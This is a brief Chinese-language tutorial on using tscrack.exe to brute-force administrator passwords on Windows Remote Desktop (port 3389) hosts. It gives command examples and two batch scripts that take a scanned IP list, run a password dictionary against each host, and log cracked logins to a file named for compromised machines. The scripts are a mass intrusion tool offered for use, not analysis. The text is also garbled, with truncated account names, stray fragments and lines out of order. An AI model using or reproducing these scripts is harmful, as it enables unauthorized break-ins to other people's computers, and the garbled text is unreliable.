系统外部命令终端服务密码破解: tscrack.exe

参数说明

用法示例

tscrack 192.168.0.1 -l istrator -w pass.dic 远程用密码字典文件暴破主机的istrator的登陆密码

tscrack 192.168.0.1 -l istrator -p 123456 用密码123456远程登陆192.168.0.1的istrator用户

@if not exist ipcscan.txt goto noscan

@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i

nscan

@echo 3389.txt no find or scan faild

(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)

3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat

@if not exist tscrack.exe goto noscan

@tscrack %1 -l *istrator -w pass.dic >>rouji.txt

:noscan

@echo tscrack.exe no find or scan faild

(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了)

hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的*istrator密码，并将破解结果保存在rouji.txt文件中。